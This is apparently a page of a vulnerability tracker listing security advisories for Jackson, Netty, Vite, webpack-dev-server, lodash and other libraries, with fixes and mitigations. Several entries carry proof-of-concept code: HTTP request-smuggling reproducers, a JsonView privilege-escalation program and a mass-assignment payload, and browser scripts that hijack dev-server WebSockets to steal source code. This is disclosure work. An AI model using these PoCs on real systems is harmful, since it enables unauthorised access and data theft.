Search
Vulnerabilities 501–550 of 785, affecting the active versions
| Score | ID | Status | Published | Affected versions | Description | Notes |
|---|---|---|---|---|---|---|
| 6.5CVSS 3.1 | GHSA-5gvw-p9qm-jgwh
CVE-2026-59889 |
Resolved | 2026-07-21 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | ## Summary `UnwrappedPropertyHandler.processUnwrapped()` replays the buffered JSON for a `@JsonUnwrapped` property by iterating its properties and calling `prop.deserializeAndSet()` with **no `prop.visibleInView(ctxt.getActiveView())` guard** — the exact guard `processUnwrappedCreatorProperties()` received in the #5971 / GHSA-rcqc-6cw3-h962 fix, and the guard `BeanDeserializer.deserializeWithUnwrapped` applies to directly-matched properties. As a result, a property annotated with both `@JsonView(PrivilegedView.class)` and `@JsonUnwrapped` is written from attacker JSON even when deserializing under a more-restrictive active view. **Correction to the original framing (runtime-verified):** the gap is NOT a per-field inner `@JsonView` (the unwrapped sub-object's own `BeanDeserializer` gates inner fields correctly). The unchecked gate is the **view of the unwrapped CONTAINER property**. ## Intent proof (runtime, 2.x HEAD 21dd70dd and 3.x HEAD 7a5939d6) An `@JsonView(AdminView)` property that is NOT `@JsonUnwrapped` → `null` under `PublicView` (correctly gated). The identical property WITH `@JsonUnwrapped` → fully populated (bypass). The fix the creator path already received, not applied to the regular-property method. ## Impact — write-side mass-assignment / privilege escalation `@JsonView` is commonly used as a write-side authorization guard: a public endpoint binds the body under `readerWithView(PublicView.class)` and groups privileged state in a nested object whose container property is `@JsonView(AdminView)`. When that property is `@JsonUnwrapped`, an untrusted caller mass-assigns it. PoC: a self-service registration where `AccountFlags{role,approved,creditBalance}` is `@JsonView(AdminView) @JsonUnwrapped`; attacker JSON `{role:ADMIN,approved:true,creditBalance:1000000}` under `PublicView` binds all three → approved admin with arbitrary balance. The failing gate is a WRITE gate, hence integrity-high (`C:N/I:H/A:N`); no worse than the C:L/I:L parent and arguably higher as `@JsonView`-as-write-guard is the exact use case #5971/#5969 defended. ## Affected - `com.fasterxml.jackson.core:jackson-databind` 2.x: confirmed bypass at 21dd70dd (== released 2.21.4 / 2.22.0 line; includes the #5973 backport). `DEFAULT_VIEW_INCLUSION` default=true. - `tools.jackson.core:jackson-databind` 3.x: confirmed bypass at HEAD 7a5939d6 (latest 3.x). `DEFAULT_VIEW_INCLUSION` default=false → the stock-config repro is the common shape where privileged inner fields are individually `@JsonView(PublicView)` and the developer relies on the container `@JsonView(AdminView)`; the 3.x PoC mass-assigns role/approved/creditBalance under PublicView. (The other simultaneous report's PoC was reportedly fixed on 3.x; this distinct container-property path is not.) ## Additive variants (runtime-confirmed both branches; all closed by the same one-line guard) - nested `@JsonUnwrapped` (unwrapped-in-unwrapped) — recursive bypass. - merge / `readerWithView(...).withValueToUpdate(...)` (PATCH/partial-update) — bypass; non-unwrapped merge control gates correctly. - builder-based deserializer (`@JsonDeserialize(builder=...)`) — `BuilderBasedDeserializer` routes through the same `processUnwrapped`. - Honest non-findings: read-side serialization correctly honors views (no leak); `@JsonAnySetter`+view and `@JsonTypeInfo`+`@JsonUnwrapped` are separate/unsupported behaviors, not this bug. ## Fix Add `prop.visibleInView(ctxt.getActiveView())` (when `MapperFeature.DEFAULT_VIEW_INCLUSION`/active-view applies) to the `processUnwrapped()` property loop, mirroring `processUnwrappedCreatorProperties()`. One change closes the impact PoC + all three variants across `BeanDeserializer` and `BuilderBasedDeserializer`. Full runnable PoCs (2.x + 3.x) + variant harnesses available on request. | |
| 6.5CVSS 3.1 | GHSA-6cqp-g7gg-8hr5
CVE-2026-56746 |
Resolved | 2026-07-22 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | ### Summary Netty's CorsHandler provides a `shortCircuit()` configuration designed to reject unauthorized cross-origin requests immediately, acting as a security control before requests reach the application. However, due to a logical operator error in the origin evaluation process, this protection can be entirely bypassed. An attacker can bypass the short-circuit mechanism by sending a request with an `Origin: null` header. This failure forwards unauthorized requests to the backend application, bypassing intended access controls. ### Details In `io.netty.handler.codec.http.cors.CorsHandler#channelRead`, the short-circuit logic relies on the configuration returned by `getForOrigin(origin)` to determine if an origin is authorized. If `getForOrigin` returns a configuration object, the short-circuit check `(!(origin == null || config != null))` is bypassed, and the request proceeds to the backend. The vulnerability is located in the `getForOrigin` method: ```java if (corsConfig.isNullOriginAllowed() || NULL_ORIGIN.equals(requestOrigin)) { return corsConfig; } ``` If an attacker sends `Origin: null`, `NULL_ORIGIN.equals(requestOrigin)` evaluates to true. The method returns the configuration object regardless of whether `isNullOriginAllowed()` was configured by the developer. The short-circuit is bypassed. ### Impact Applications relying on CorsHandler's short-circuit feature to prevent unauthorized cross-origin requests from reaching their backend logic are completely exposed. The framework fails to enforce the developer's intended access controls, allowing unauthorized requests to be processed. | |
| 6.5CVSS 3.1 | GHSA-84h7-rjj3-6jx4
CVE-2025-67735 |
Resolved | 2025-12-15 | 5.5 ×205.4 ×14 | ### Summary The `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri. ### Details The `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`) The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers. ### PoC Simple reproducer: ```java public static void main(String[] args) { EmbeddedChannel client = new EmbeddedChannel(); client.pipeline().addLast(new HttpClientCodec()); EmbeddedChannel server = new EmbeddedChannel(); server.pipeline().addLast(new HttpServerCodec()); server.pipeline().addLast(new ChannelInboundHandlerAdapter() { @Override public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { System.out.println("Processing msg " + msg); } }); DefaultHttpRequest request = new DefaultHttpRequest( HttpVersion.HTTP_1_1, HttpMethod.GET, "/s1 HTTP/1.1\r\n" + "\r\n" + "POST /s2 HTTP/1.1\r\n" + "content-length: 11\r\n\r\n" + "Hello World" + "GET /s1" ); client.writeAndFlush(request); ByteBuf tmp; while ((tmp = client.readOutbound()) != null) { server.writeInbound(tmp); } } ``` ### Impact Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection. | |
| 6.5CVSS 3.1 | GHSA-8c42-7qj2-3j46
CVE-2026-59903 |
Resolved | 2026-08-17 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | ### Summary Netty's `CorsHandler` silently overwrites existing `Vary` headers, enabling cache poisoning and sensitive information disclosure. ### Details `io.netty.handler.codec.http.cors.CorsHandler#setVaryHeader` overwrites any existing Vary headers set by backend applications. ```java private static void setVaryHeader(final HttpResponse response) { response.headers().set(HttpHeaderNames.VARY, HttpHeaderNames.ORIGIN); } ``` Because `set()` replaces all existing values for the header, if a backend application sets a `Vary` header (such as `Vary: Authorization` or `Vary: Cookie`) to ensure that intermediate caches (like CDNs) cache responses separately per user, the `CorsHandler` will overwrite it with `Vary: origin`. This causes the caching proxy to ignore the authorization context and cache the response based solely on the URL and Origin, allowing an attacker to retrieve another user's cached sensitive data. ### Impact This is a Cache Poisoning vulnerability that leads to Information Disclosure. It impacts any Netty-based web application that uses the CorsHandler, sets its own Vary headers to manage caching of authenticated or user-specific responses (e.g., Vary: Authorization), and is deployed behind a caching proxy or CDN. The end-users of these applications are impacted, as their sensitive data may be leaked to unauthorized actors. | |
| 6.5CVSS 3.1 | GHSA-9jgg-88mc-972h
CVE-2025-30360 |
False positive | 2025-06-04 | 5.6 ×95.5 ×205.4 ×14 | ### Summary Source code may be stolen when you access a malicious web site with non-Chromium based browser. ### Details The `Origin` header is checked to prevent Cross-site WebSocket hijacking from happening which was reported by CVE-2018-14732. But webpack-dev-server always allows IP address `Origin` headers. https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127 This allows websites that are served on IP addresses to connect WebSocket. By using the same method described in [the article](https://blog.cal1.cn/post/Sniffing%20Codes%20in%20Hot%20Module%20Reloading%20Messages) linked from CVE-2018-14732, the attacker get the source code. related commit: https://github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb (note that `checkHost` function was only used for Host header to prevent DNS rebinding attacks so this change itself is fine. This vulnerability does not affect Chrome 94+ (and other Chromium based browsers) users due to [the non-HTTPS private access blocking feature](https://developer.chrome.com/blog/private-network-access-update#chrome_94). ### PoC 1. Download [reproduction.zip](https://github.com/user-attachments/files/18418233/reproduction.zip) and extract it 2. Run `npm i` 3. Run `npx webpack-dev-server` 4. Open `http://{ipaddress}/?target=http://localhost:8080&file=main` with a non-Chromium browser (I used Firefox 134.0.1) 5. Edit `src/index.js` in the extracted directory 6. You can see the content of `src/index.js`  The script in the POC site is: ```js window.webpackHotUpdate = (...args) => { console.log(...args); for (i in args[1]) { document.body.innerText = args[1][i].toString() + document.body.innerText console.log(args[1][i]) } } let params = new URLSearchParams(window.location.search); let target = new URL(params.get('target') || 'http://127.0.0.1:8080'); let file = params.get('file') let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss'; let wsPort = target.port; var currentHash = ''; var currentHash2 = ''; let wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/ws`; ws = new WebSocket(wsTarget); ws.onmessage = event => { console.log(event.data); if (event.data.match('"type":"ok"')) { s = document.createElement('script'); s.src = `${target}${file}.${currentHash2}.hot-update.js`; document.body.appendChild(s) } r = event.data.match(/"([0-9a-f]{20})"/); if (r !== null) { currentHash2 = currentHash; currentHash = r[1]; console.log(currentHash, currentHash2); } } ``` ### Impact This vulnerability can result in the source code to be stolen for users that uses a predictable port and uses a non-Chromium based browser. | |
| 6.5CVSS 3.1 | GHSA-f23m-r3pf-42rh | In triage | 2026-04-01 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Impact Lodash versions 4.17.23 and earlier are vulnerable to prototype pollution in the `_.unset` and `_.omit` functions. The fix for [CVE-2025-13465](https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg) only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as `Object.prototype`, `Number.prototype`, and `String.prototype`. The issue permits deletion of prototype properties but does not allow overwriting their original behavior. ### Patches This issue is patched in 4.18.0. ### Workarounds None. Upgrade to the patched version. | |
| 6.5CVSS 3.1 | GHSA-f886-m6hf-6m8v
CVE-2026-33750 |
False positive | 2026-03-26 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Impact A brace pattern with a zero step value (e.g., `{1..2..0}`) causes the sequence generation loop to run indefinitely, making the process hang for seconds and allocate heaps of memory. The loop in question: https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184 `test()` is one of https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113 The increment is computed as `Math.abs(0) = 0`, so the loop variable never advances. On a test machine, the process hangs for about 3.5 seconds and allocates roughly 1.9 GB of memory before throwing a `RangeError`. Setting max to any value has no effect because the limit is only checked at the output combination step, not during sequence generation. This affects any application that passes untrusted strings to expand(), or by error sets a step value of `0`. That includes tools built on minimatch/glob that resolve patterns from CLI arguments or config files. The input needed is just 10 bytes. ### Patches Upgrade to versions - 5.0.5+ A step increment of 0 is now sanitized to 1, which matches bash behavior. ### Workarounds Sanitize strings passed to `expand()` to ensure a step value of `0` is not used. | |
| 6.5CVSS 3.1 | GHSA-j288-q9x7-2f5v
CVE-2025-48924 |
Resolved | 2025-07-11 | 5.6 ×25.5 ×205.4 ×14 | Uncontrolled Recursion vulnerability in Apache Commons Lang. This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0. The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop. Users are recommended to upgrade to version 3.18.0, which fixes the issue. | |
| 6.5CVSS 3.1 | GHSA-m4cv-j2px-7723
CVE-2026-42580 |
Resolved | 2026-05-07 | 5.7 ×35.6 ×25.5 ×205.4 ×14 | ### Summary Netty's chunk size parser silently overflows int, enabling request smuggling attacks. ### Details io.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently overflows int. The size is accumulated as follows: result *= 16; result += digit; The result is checked only for negative values. However, with a carefully crafted chunk size, the result can be a valid size. ### PoC The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a chunked body. ```java @Test public void test() { String requestStr = "POST / HTTP/1.1\r\n" + "Host: localhost\r\n" + "Transfer-Encoding: chunked\r\n\r\n" + "100000004\r\n" + "test\r\n" + "0\r\n" + "\r\n" + "GET /smuggled HTTP/1.1\r\n" + "Host: localhost\r\n" + "Content-Length: 0\r\n" + "\r\n"; EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder()); assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII))); // Request 1 HttpRequest request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); HttpContent content = channel.readInbound(); assertTrue(content.decoderResult().isSuccess()); assertEquals("test", content.content().toString(CharsetUtil.US_ASCII)); content.release(); LastHttpContent last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release(); // Request 2 request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release(); } ``` ### Impact HTTP Request Smuggling: Attacker injects arbitrary HTTP requests | |
| 6.5CVSS 3.1 | GHSA-mhm7-754m-9p8w | Resolved | 2026-07-21 | 5.6 ×55.5 ×105.4 ×14 | ## Summary In `BeanDeserializer.deserializeUsingPropertyBasedWithExternalTypeId`, the active-view (`@JsonView`) filter was applied only to the regular bean-property branch; the creator-property branch performed no `creatorProp.visibleInView(activeView)` check. A constructor parameter annotated with both `@JsonView(RestrictedView.class)` and `@JsonTypeInfo(use=Id.NAME, include=As.EXTERNAL_PROPERTY)` is populated from attacker JSON even when a more restrictive view is active. This is a patch gap. GHSA-5hh8 (CVE-2026-54517) and GHSA-rcqc (CVE-2026-54518) descriptions cover only the main property-based path and the unwrapped-creator path respectively; the external-type-id creator path was fixed on the 3.x line via #6004 ("Extend #5969/#5971 fixes to ... external-type-id case in regular BeanDeserializer", commit 7dc7a17, 2026-05-22) but **the fix was never backported to 2.21 or 2.18**. Users on 2.21.4 and 2.18.8 who upgraded per the published advisories remain vulnerable to the same `@JsonView` bypass technique via a different code path. ## Vulnerable Code Path File: `com/fasterxml/jackson/databind/deser/BeanDeserializer.java` Method: `deserializeUsingPropertyBasedWithExternalTypeId` On 2.21.4 (and 2.18.8), the creator-property branch (around line 1125-1158) checks `creatorProp.isInjectionOnly()` and hands off to `ext.handlePropertyValue(...)` / `buffer.assignParameter(...)` without ever consulting `visibleInView(activeView)`: ```java if (creatorProp != null) { // [databind#1381]: if useInput=FALSE, skip deserialization from input if (creatorProp.isInjectionOnly()) { ... } // NO visibleInView(activeView) CHECK HERE if (!ext.handlePropertyValue(p, ctxt, propName, null)) { if (buffer.assignParameter(creatorProp, ...)) { ... } } continue; } ``` On 3.1.4, the same branch contains the additional guard (commit 7dc7a17): ```java if (creatorProp != null) { // [databind#5971]: must honor active view here too if ((activeView != null) && !creatorProp.visibleInView(activeView)) { p.skipChildren(); continue; } ... } ``` The 2.21 and 2.18 backport PRs (#6005 and #6003) only backported the main-path fixes from #5969/#5971; the external-type-id fix from #6004 was not backported. The maintainer closed #6005 with "got changes merged forward, looks like it's all covered now", but the forward-merge did not include the ExtTypeId creator branch. Proof of Concept Compiles and runs against jackson-databind 2.21.4: ```java import com.fasterxml.jackson.annotation.*; import com.fasterxml.jackson.databind.ObjectMapper; public class JsonViewExternalTypeIdBypass { public static class PublicView {} public static class AdminView extends PublicView {} public static abstract class Asset { public String name; } public static class PublicAsset extends Asset {} public static class AdminAsset extends Asset { public String secret; } public static class Container { @JsonTypeInfo(use = JsonTypeInfo.Id.NAME, include = JsonTypeInfo.As.EXTERNAL_PROPERTY, property = "kind") @JsonSubTypes({ @JsonSubTypes.Type(value = PublicAsset.class, name = "pub"), @JsonSubTypes.Type(value = AdminAsset.class, name = "admin") }) @JsonView(AdminView.class) public Asset asset; public String label; @JsonCreator public Container( @JsonProperty("label") String label, @JsonProperty("asset") @JsonView(AdminView.class) Asset asset) { this.label = label; this.asset = asset; } } public static class Wrapper { @JsonView(PublicView.class) public Container data; } public static void main(String[] args) throws Exception { // Admin-only "asset" should be blocked when reading with PublicView String json = "{\"data\":{\"label\":\"hello\",\"kind\":\"admin\"," + "\"asset\":{\"name\":\"foo\",\"secret\":\"LEAKED\"}}}"; ObjectMapper om = new ObjectMapper(); Wrapper r = om.readerWithView(PublicView.class) .forType(Wrapper.class) .readValue(json); System.out.println(r.data); // Actual on 2.21.4: Container{label='hello', asset=AdminAsset{name='foo', secret='LEAKED'}} // Expected (secure): Container{label='hello', asset=null} if (r.data.asset != null && r.data.asset instanceof AdminAsset) { System.out.println("[!!] BYPASS CONFIRMED — admin-only asset populated under PublicView"); } } } ``` A control case that removes include = As.EXTERNAL_PROPERTY (forcing the normal property-based path) correctly returns asset = null, confirming the bypass is specific to the ExternalTypeId code path and not a misconfiguration. ### Impact View-restricted (e.g. admin-only) creator properties can be populated from untrusted input where @JsonView is used as a write-side authorization boundary. Typical victims are Spring Boot REST controllers that use @JsonView(PublicView.class) on the request body to whitelist user-settable fields — an attacker can inject the restricted creator parameter (including choosing the polymorphic subtype via the sibling kind/type-id property) by combining it with a polymorphic @JsonTypeInfo(EXTERNAL_PROPERTY) annotation on the same field. - CWE-863 (Incorrect Authorization) - Same impact class as CVE-2026-54517 / CVE-2026-54518 - No RCE, no DoS — this is an access-control / mass-assignment bypass ### Trigger Conditions Developer code must combine (no opt-in user configuration required): 1. Property-based @JsonCreator on the outer type 2. A creator parameter annotated with @JsonView(RestrictedView.class) 3. The same parameter annotated with @JsonTypeInfo(use=Id.NAME, include=As.EXTERNAL_PROPERTY, property="...") | |
| 6.5CVSS 3.1 | GHSA-p9jm-q85p-7mcp
CVE-2026-56818 |
Resolved | 2026-08-07 | 5.6 ×25.5 ×185.4 ×12 | ## Summary `RedisArrayAggregator` clears retained partial aggregate state when the `maxNestedArrayDepth` limit is exceeded, but it does not clear the same state when the sibling `maxElements` limit is exceeded. A peer can start a valid RESP array, send a bulk-string child, then send a nested array header longer than the configured `maxElements`. Netty throws a decoder exception, but the existing partial aggregate remains retained in the handler. If the application leaves the channel alive after the exception, later messages are still consumed into the pre-error aggregate. The supplied PoV proves both the retained `ByteBuf` reference and the stale parser state continuation. ## Technical Details `RedisArrayAggregator.decode(...)` retains non-array messages before adding them to `depths.peek().children`. In `decodeRedisArrayHeader(...)`, the `header.length() > maxElements` branch throws immediately: ```java if (header.length() > maxElements) { throw new CodecException("this codec doesn't support longer length than " + maxElements); } ``` The immediately following nested-depth branch clears retained aggregate state before throwing: ```java if (depths.size() >= maxNestedArrayDepth) { releaseAndClearDepths(); throw new CodecException("max nested array depth exceeded: " + maxNestedArrayDepth); } ``` The missing cleanup in the first branch leaves retained children and aggregate state reachable after the exception. ## PoC Place the supplied `RedisArrayAggregatorIncompleteCleanupPovTest.java` under: `codec-redis/src/test/java/io/netty/handler/codec/redis/` Run: ```fish ./mvnw -pl codec-redis -am -Dtest=RedisArrayAggregatorIncompleteCleanupPovTest -Dsurefire.failIfNoSpecifiedTests=false -DskipNativeTests -DskipAutobahnTests test ``` The test suite includes: - serialized RESP trigger through `RedisDecoder`, `RedisBulkStringAggregator`, and `RedisArrayAggregator`; - direct refcount proof that max-elements overflow does not release the retained child immediately; - post-exception continuation proof that the stale aggregate consumes a later message; - nested-depth controls that clear the same partial aggregate state. All five tests pass on current `4.2`, `4.2.15.Final`, and `4.1.135.Final`. ## Impact For Redis codec pipelines that continue after codec exceptions, an unauthenticated peer can keep attacker-controlled aggregate state alive across a security-limit exception. This can pin retained pooled buffers until channel close/removal or until a later message completes the stale aggregate. `RedisBulkStringAggregator` permits bulk strings up to `RedisConstants.REDIS_MESSAGE_MAX_LENGTH` (`512MB`), so the retained child can be large in deployments that aggregate untrusted Redis streams. Applications that always close the channel or remove the handler on decoder exceptions will trigger existing cleanup; the issue is the missing immediate cleanup on the max-elements failure path while the handler remains installed. ## Suggested Fix Call `releaseAndClearDepths()` before throwing from the max-elements branch. Consider applying the same cleanup to all unrecoverable `decodeRedisArrayHeader(...)` error exits that can occur while `depths` is non-empty. ## Affected Package/Versions `io.netty:netty-codec-redis` Confirmed on: - current `4.2` branch head `7bae566a93e69409697fe57fa807910ba5c9720e` - `4.2.15.Final` at `a41f7b289ce1` - `4.1.135.Final` at `f05f765d8146` ## Advisory History This differs from the public Redis codec advisories because it reproduces on their patched tags: - `GHSA-5w86-c3rq-vjj7` - `GHSA-3244-j874-rhc2` / `CVE-2026-44250` - `GHSA-6jv9-x5w9-2ccm` / `CVE-2026-48006` - `GHSA-6ghj-frrj-jjj3` / `CVE-2026-44890` ## Why This Is Not Intended Behavior The public API docs document `RedisArrayAggregator` as aggregating `RedisMessage` parts into `ArrayRedisMessage` and document a `CodecException` when an array header exceeds `maxElements`. They do not document preserving pre-exception partial aggregate state after that limit fires. The adjacent nested-depth branch already calls `releaseAndClearDepths()` before throwing. The max-elements branch is the sibling aggregation-limit branch but throws without cleanup. Netty's later Redis lifecycle cleanup patch explicitly added release behavior for nested-array failure and handler removal, leaving the max-elements failure branch as a missed cleanup path. | |
| 6.5CVSS 3.1 | GHSA-rcqc-6cw3-h962
CVE-2026-54518 |
Resolved | 2026-06-23 | 5.6 ×55.5 ×105.4 ×1 | ## Summary `UnwrappedPropertyHandler.processUnwrappedCreatorProperties()` replays buffered JSON into creator parameters but never consults `prop.visibleInView(activeView)`. The normal property-based creator path gates creator properties on the active view, but this unwrapped-creator replay path bypasses that check, so a constructor parameter annotated with both `@JsonView(AdminView.class)` and `@JsonUnwrapped` is populated from attacker JSON even when a more restrictive view is active. ## Impact View-restricted unwrapped creator parameters can be set from untrusted input where `@JsonView` is used as a write-side authorization boundary. ## Affected / Patched (verified via `git tag --contains`) - 2.21 line: `>= 2.21.0, < 2.21.4` -> fixed in **2.21.4** (backport `721fa07`, #5973) - 3.x line: `>= 3.0.0, < 3.1.4` -> fixed in **3.1.4** (#5971, `d633bc0`) ## Severity / CWE Maintainer: minor. Reporter: HIGH. CWE-863 (Incorrect Authorization); related CWE-284. ## Credits Omkhar Arasaratnam (@omkhar) - finder. | |
| 6.5CVSS 3.1 | GHSA-vg6x-rcgg-rjx6
CVE-2025-24010 |
False positive | 2025-01-21 | 5.6 ×95.5 ×205.4 ×14 | ### Summary Vite allowed any websites to send any requests to the development server and read the response due to default CORS settings and lack of validation on the Origin header for WebSocket connections. > [!WARNING] > This vulnerability even applies to users that only run the Vite dev server on the local machine and does not expose the dev server to the network. ### Upgrade Path Users that does not match either of the following conditions should be able to upgrade to a newer version of Vite that fixes the vulnerability without any additional configuration. - Using the backend integration feature - Using a reverse proxy in front of Vite - Accessing the development server via a domain other than `localhost` or `*.localhost` - Using a plugin / framework that connects to the WebSocket server on their own from the browser #### Using the backend integration feature If you are using the backend integration feature and not setting [`server.origin`](https://vite.dev/config/server-options.html#server-origin), you need to add the origin of the backend server to the [`server.cors.origin`](https://github.com/expressjs/cors#configuration-options) option. Make sure to set a specific origin rather than `*`, otherwise any origin can access your development server. #### Using a reverse proxy in front of Vite If you are using a reverse proxy in front of Vite and sending requests to Vite with a hostname other than `localhost` or `*.localhost`, you need to add the hostname to the new [`server.allowedHosts`](https://vite.dev/config/server-options.html#server-allowedhosts) option. For example, if the reverse proxy is sending requests to `http://vite:5173`, you need to add `vite` to the `server.allowedHosts` option. #### Accessing the development server via a domain other than `localhost` or `*.localhost` You need to add the hostname to the new [`server.allowedHosts`](https://vite.dev/config/server-options.html#server-allowedhosts) option. For example, if you are accessing the development server via `http://foo.example.com:8080`, you need to add `foo.example.com` to the `server.allowedHosts` option. #### Using a plugin / framework that connects to the WebSocket server on their own from the browser If you are using a plugin / framework, try upgrading to a newer version of Vite that fixes the vulnerability. If the WebSocket connection appears not to be working, the plugin / framework may have a code that connects to the WebSocket server on their own from the browser. In that case, you can either: - fix the plugin / framework code to the make it compatible with the new version of Vite - set `legacy.skipWebSocketTokenCheck: true` to opt-out the fix for [2] while the plugin / framework is incompatible with the new version of Vite - When enabling this option, **make sure that you are aware of the security implications** described in the impact section of [2] above. ### Mitigation without upgrading Vite #### [1]: Permissive default CORS settings Set `server.cors` to `false` or limit `server.cors.origin` to trusted origins. #### [2]: Lack of validation on the Origin header for WebSocket connections There aren't any mitigations for this. #### [3]: Lack of validation on the Host header for HTTP requests Use Chrome 94+ or use HTTPS for the development server. ### Details There are three causes that allowed malicious websites to send any requests to the development server: #### [1]: Permissive default CORS settings Vite sets the [`Access-Control-Allow-Origin`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin) header depending on [`server.cors`](https://vite.dev/config/server-options.html#server-cors) option. The default value was `true` which sets `Access-Control-Allow-Origin: *`. This allows websites on any origin to `fetch` contents served on the development server. Attack scenario: 1. The attacker serves a malicious web page (`http://malicious.example.com`). 2. The user accesses the malicious web page. 3. The attacker sends a `fetch('http://127.0.0.1:5173/main.js')` request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above. 4. The attacker gets the content of `http://127.0.0.1:5173/main.js`. #### [2]: Lack of validation on the Origin header for WebSocket connections Vite starts a WebSocket server to handle HMR and other functionalities. This WebSocket server [did not perform validation on the Origin header](https://github.com/vitejs/vite/blob/v6.0.7/packages/vite/src/node/server/ws.ts#L145-L157) and was vulnerable to Cross-Site WebSocket Hijacking (CSWSH) attacks. With that attack, an attacker can read and write messages on the WebSocket connection. Vite only sends some information over the WebSocket connection ([list of the file paths that changed, the file content where the errored happened, etc.](https://github.com/vitejs/vite/blob/v6.0.7/packages/vite/types/hmrPayload.d.ts#L12-L72)), but plugins can send arbitrary messages and may include more sensitive information. Attack scenario: 1. The attacker serves a malicious web page (`http://malicious.example.com`). 2. The user accesses the malicious web page. 3. The attacker runs `new WebSocket('http://127.0.0.1:5173', 'vite-hmr')` by JS in that malicious web page. 4. The user edits some files. 5. Vite sends some HMR messages over WebSocket. 6. The attacker gets the content of the HMR messages. #### [3]: Lack of validation on the Host header for HTTP requests Unless [`server.https`](https://vite.dev/config/server-options.html#server-https) is set, Vite starts the development server on HTTP. Non-HTTPS servers are vulnerable to DNS rebinding attacks without validation on the Host header. But Vite did not perform validation on the Host header. By exploiting this vulnerability, an attacker can send arbitrary requests to the development server bypassing the same-origin policy. 1. The attacker serves a malicious web page that is served on **HTTP** (`http://malicious.example.com:5173`) (HTTPS won't work). 2. The user accesses the malicious web page. 3. The attacker changes the DNS to point to 127.0.0.1 (or other private addresses). 4. The attacker sends a `fetch('/main.js')` request by JS in that malicious web page. 5. The attacker gets the content of `http://127.0.0.1:5173/main.js` bypassing the same origin policy. ### Impact #### [1]: Permissive default CORS settings Users with the default `server.cors` option may: - get the source code stolen by malicious websites - give the attacker access to functionalities that are not supposed to be exposed externally - Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind `server.proxy` may have those functionalities. #### [2]: Lack of validation on the Origin header for WebSocket connections All users may get the file paths of the files that changed and the file content where the error happened be stolen by malicious websites. For users that is using a plugin that sends messages over WebSocket, that content may be stolen by malicious websites. For users that is using a plugin that has a functionality that is triggered by messages over WebSocket, that functionality may be exploited by malicious websites. #### [3]: Lack of validation on the Host header for HTTP requests Users using HTTP for the development server and using a browser that is not Chrome 94+ may: - get the source code stolen by malicious websites - give the attacker access to functionalities that are not supposed to be exposed externally - Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind `server.proxy` may have those functionalities. Chrome 94+ users are not affected for [3], because [sending a request to a private network page from public non-HTTPS page is forbidden](https://developer.chrome.com/blog/private-network-access-update#chrome_94) since Chrome 94. ### Related Information Safari has [a bug that blocks requests to loopback addresses from HTTPS origins](https://bugs.webkit.org/show_bug.cgi?id=171934). This means when the user is using Safari and Vite is listening on lookback addresses, there's another condition of "the malicious web page is served on HTTP" to make [1] and [2] to work. ### PoC #### [2]: Lack of validation on the Origin header for WebSocket connections 1. I used the `react` template which utilizes HMR functionality. ``` npm create vite@latest my-vue-app-react -- --template react ``` 2. Then on a malicious server, serve the following POC html: ```html <!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>vite CSWSH</title> </head> <body> <div id="logs"></div> <script> const div = document.querySelectorAll('#logs')[0]; const ws = new WebSocket('ws://localhost:5173','vite-hmr'); ws.onmessage = event => { const logLine = document.createElement('p'); logLine.innerHTML = event.data; div.append(logLine); }; </script> </body> </html> ``` 3. Kick off Vite ``` npm run dev ``` 4. Load the development server (open `http://localhost:5173/`) as well as the malicious page in the browser. 5. Edit `src/App.jsx` file and intentionally place a syntax error 6. Notice how the malicious page can view the websocket messages and a snippet of the source code is exposed Here's a video demonstrating the POC: https://github.com/user-attachments/assets/a4ad05cd-0b34-461c-9ff6-d7c8663d6961 | |
| 6.5CVSS 3.1 | GHSA-xx22-p4ch-683r
CVE-2026-59949 |
